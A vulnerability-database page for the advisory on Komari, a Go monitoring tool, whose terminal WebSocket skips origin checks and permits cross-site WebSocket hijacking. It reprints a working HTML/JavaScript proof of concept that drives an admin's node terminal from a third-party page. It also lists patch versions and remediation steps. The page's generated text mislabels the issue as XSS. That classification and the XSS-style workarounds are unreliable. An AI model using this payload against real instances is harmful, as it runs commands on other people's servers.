NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

Komari vulnerable to Cross-site WebSocket HijackingGHSA-q355-h244-969h

Fix: komari-monitor/komari@53171af

GHSA-q355-h244-969h is a Cross-site Scripting (XSS) vulnerability in github.com/komari-monitor/komari. A fix is available for github.com/komari-monitor/komari — see the affected versions and patch details below.

Also known asCVE-2025-55300GO-2025-3874
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-q355-h244-969h.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs46th percentile — riskier than 46% of all scored CVEsHighest risk
0.01%0.46%0.90%1.34%0.7%0.6%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐹github.com/komari-monitor/komari

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users

Details

https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35

Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution

PoC

  1. Login in to your komari instance
  2. Hosting the following HTML code on internet, replace <komari-addr> and <target-uuid> into yours
  3. Visit this HTML page, you can see your node is executing uptime without your actions
<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
  const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
  socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
  event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>

Impact

An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/komari-monitor/komariall versions0.0.0-20250809073044-53171affcaf0go get github.com/komari-monitor/komari@v0.0.0-20250809073044-53171affcaf0

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/komari-monitor/komari, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/komari-monitor/komari to 0.0.0-20250809073044-53171affcaf0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q355-h244-969h is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

### Summary WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users ### Details https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35 Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution ### PoC 1. Login in to your komari instance 2. Hosting the following HTML code on internet, replace `<komari-addr>` and `<target-uuid>` into yours 3. Visit this HTML page, you can see your n
O3 Security · Impact-Aware SCA

Is GHSA-q355-h244-969h in your dependencies?

Find it across Go, including transitive dependencies.

Scan my dependencies How O3 SCA works
Komari vulnerable to Cross-site WebSocket Hijacking